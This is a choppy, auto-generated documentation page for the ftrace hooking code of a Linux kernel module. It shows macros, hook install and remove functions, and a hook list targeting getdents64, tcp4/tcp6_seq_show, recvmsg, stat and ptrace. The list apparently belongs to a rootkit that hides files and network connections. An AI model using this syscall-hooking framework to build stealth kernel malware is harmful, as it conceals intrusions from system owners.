#include <linux/file.h>
#include <linux/ftrace.h>
#include <linux/types.h>
Go to the source code of this file.
◆ HOOK
| #define HOOK |
( |
|
_name, |
|
|
|
_hook, |
|
|
|
_orig |
|
) |
| |
Value: { \
.name = (_name), \
.function = (_hook), \
.original = (_orig), \
}
Definition at line 24 of file ftrace.h.
24 { \
25 .name = (_name), \
26 .function = (_hook), \
27 .original = (_orig), \
28}
◆ HOOK_SYS
| #define HOOK_SYS |
( |
|
_name, |
|
|
|
_hook, |
|
|
|
_orig |
|
) |
| |
Value: { \
.function = (_hook), \
.original = (_orig), \
}
#define SYSCALL_NAME(name)
Definition at line 18 of file ftrace.h.
18 { \
20 .function = (_hook), \
21 .original = (_orig), \
22}
◆ SYSCALL_NAME
| #define SYSCALL_NAME |
( |
|
name | ) |
("__x64_" name) |
◆ fh_install_hook()
Install an individual ftrace hook.
- Parameters
-
- Returns
- 0 on success, or a negative error code on failure.
Definition at line 58 of file ftrace.c.
58 {
59 int err;
61
62 if (!kallsyms_lookup) {
63 ERR_MSG(
"ftrace: unable to get kallsyms_lookup_name pointer\n");
64 return -ENOENT;
65 }
66
69 ERR_MSG(
"ftrace: unresolved symbol\n");
70 return -ENOENT;
71 }
72
74
76 hook->
ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
77
78 err = ftrace_set_filter_ip(&hook->
ops, hook->
address, 0, 0);
79 if (err) {
80 ERR_MSG(
"ftrace: ftrace_set_filter_ip() failed.\n");
81 return err;
82 }
83
84 err = register_ftrace_function(&hook->
ops);
85 if (err) {
86 ERR_MSG(
"ftrace: register_ftrace_function() failed.\n");
87 return err;
88 }
89 return 0;
90}
#define ERR_MSG(fmt, args...)
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct ftrace_regs *regs)
ftrace callback that redirects execution to the hook function.
unsigned long(*)(const char *) fh_init_kallsyms_lookup(void)
Retrieve the address of kallsyms_lookup_name via kprobe.
◆ fh_install_hooks()
| int fh_install_hooks |
( |
struct ftrace_hook * |
hooks, |
|
|
size_t |
count |
|
) |
| |
Install multiple ftrace hooks.
- Parameters
-
| hooks | Pointer to an array of ftrace_hook structures. |
| count | Number of hooks in the array. |
- Returns
- 0 on success, or a negative error code on failure.
Definition at line 116 of file ftrace.c.
116 {
117 int err;
118 size_t i;
119 for (i = 0; i < count; i++) {
121 if (err) {
122 while (i--)
124 return err;
125 }
126 }
127 return 0;
128}
struct ftrace_hook hooks[]
void fh_remove_hook(struct ftrace_hook *hook)
Remove an individual ftrace hook.
int fh_install_hook(struct ftrace_hook *hook)
Install an individual ftrace hook.
◆ fh_remove_hook()
Remove an individual ftrace hook.
- Parameters
-
Definition at line 97 of file ftrace.c.
97 {
98 int err;
99
100 err = unregister_ftrace_function(&hook->
ops);
101 if (err)
102 ERR_MSG(
"ftrace: unregister_ftrace_function() failed.\n");
103
104 err = ftrace_set_filter_ip(&hook->
ops, hook->
address, 1, 0);
105 if (err)
106 ERR_MSG(
"ftrace: ftrace_set_filter_ip() failed. \n");
107}
◆ fh_remove_hooks()
| void fh_remove_hooks |
( |
struct ftrace_hook * |
hooks, |
|
|
size_t |
count |
|
) |
| |
Remove multiple ftrace hooks.
- Parameters
-
| hooks | Pointer to an array of ftrace_hook structures. |
| count | Number of hooks in the array. |
Definition at line 136 of file ftrace.c.
136 {
137 size_t i;
138 for (i = 0; i < count; i++)
140}
◆ fh_init_kallsyms_lookup
| unsigned long(*)(const char *) fh_init_kallsyms_lookup(void) |
( |
void |
| ) |
|
◆ hook_array_size
◆ hooks
Definition at line 6 of file array.c.
6 {
17
20};
asmlinkage long(* __orig_read)(const struct pt_regs *)
asmlinkage long notrace read_hook(const struct pt_regs *regs)
asmlinkage long(* __orig_chdir)(const struct pt_regs *regs)
asmlinkage void notrace ptrace_hook(struct pt_regs *regs)
asmlinkage long notrace chdir_hook(const struct pt_regs *regs)
asmlinkage long(* __orig_openat)(const struct pt_regs *)
asmlinkage long(* __orig_lstat)(const struct pt_regs *)
asmlinkage long(* __orig_ptrace)(const struct pt_regs *regs)
asmlinkage long(* __orig_newfstatat)(const struct pt_regs *)
asmlinkage long notrace stat_hook(const struct pt_regs *regs)
asmlinkage long(* __orig_fstat)(const struct pt_regs *)
asmlinkage long(* __orig_stat)(const struct pt_regs *)
asmlinkage long notrace openat_hook(const struct pt_regs *regs)
#define HOOK(_name, _hook, _orig)
#define HOOK_SYS(_name, _hook, _orig)
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)